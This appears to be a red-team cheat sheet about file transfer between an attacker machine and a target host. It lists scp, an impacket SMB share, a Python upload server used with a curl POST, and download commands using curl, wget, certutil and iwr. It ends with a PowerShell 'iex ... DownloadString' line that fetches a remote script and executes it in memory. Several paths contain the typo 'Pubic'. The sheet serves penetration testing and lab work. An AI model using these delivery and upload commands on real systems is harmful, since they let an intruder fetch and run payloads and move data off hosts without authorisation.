File Transfers

#delivery
#file-transfer
#red

File Transfer

SCP (Secure Copy Protocol)

Download files

scp user@target-ip:/path/to/remote/file /path/to/local/destination

Upload files

scp /path/to/local/file user@target-ip:/path/to/remote/destination

Impacket-SMBServer

Server Up

impacket-smbserver share $(pwd) -smb2support -username john -password john123
net use \\[IP]\share /u:john john123

The command completed successfully.
PS net use 

New connections will be remembered.

Status       Local     Remote                    Network

-------------------------------------------------------------------------------

OK                     \\10.10.10.10\share    Microsoft Windows Network

The command completed successfully.
copy test.txt \\192.168.45.240\share\test.txt

copy \\192.168.45.240\share\test.txt .

Python - Uploadserver

Server Up

python3 -m uploadserver

Upload

curl -X POST http://[IP]:8000/upload -F '[email protected]' -F '[email protected]'

Python HTTP Server

Server Up

python3 -m http.server 80

Download

curl http://[IP]/test.txt -o C:/Users/Pubic/test.txt
wget http://[IP]/test.txt -O C:/Users/Pubic/test.txt
certutil -urlcache -split -f http://[IP]/test.txt C:/Users/Public/test.txt
iwr -uri http://<IP>/test.txt -outfile C:/Users/Pubic/test.txt
iex (New-Object System.Net.WebClient).DownloadString('http://<IP>/script.ps1')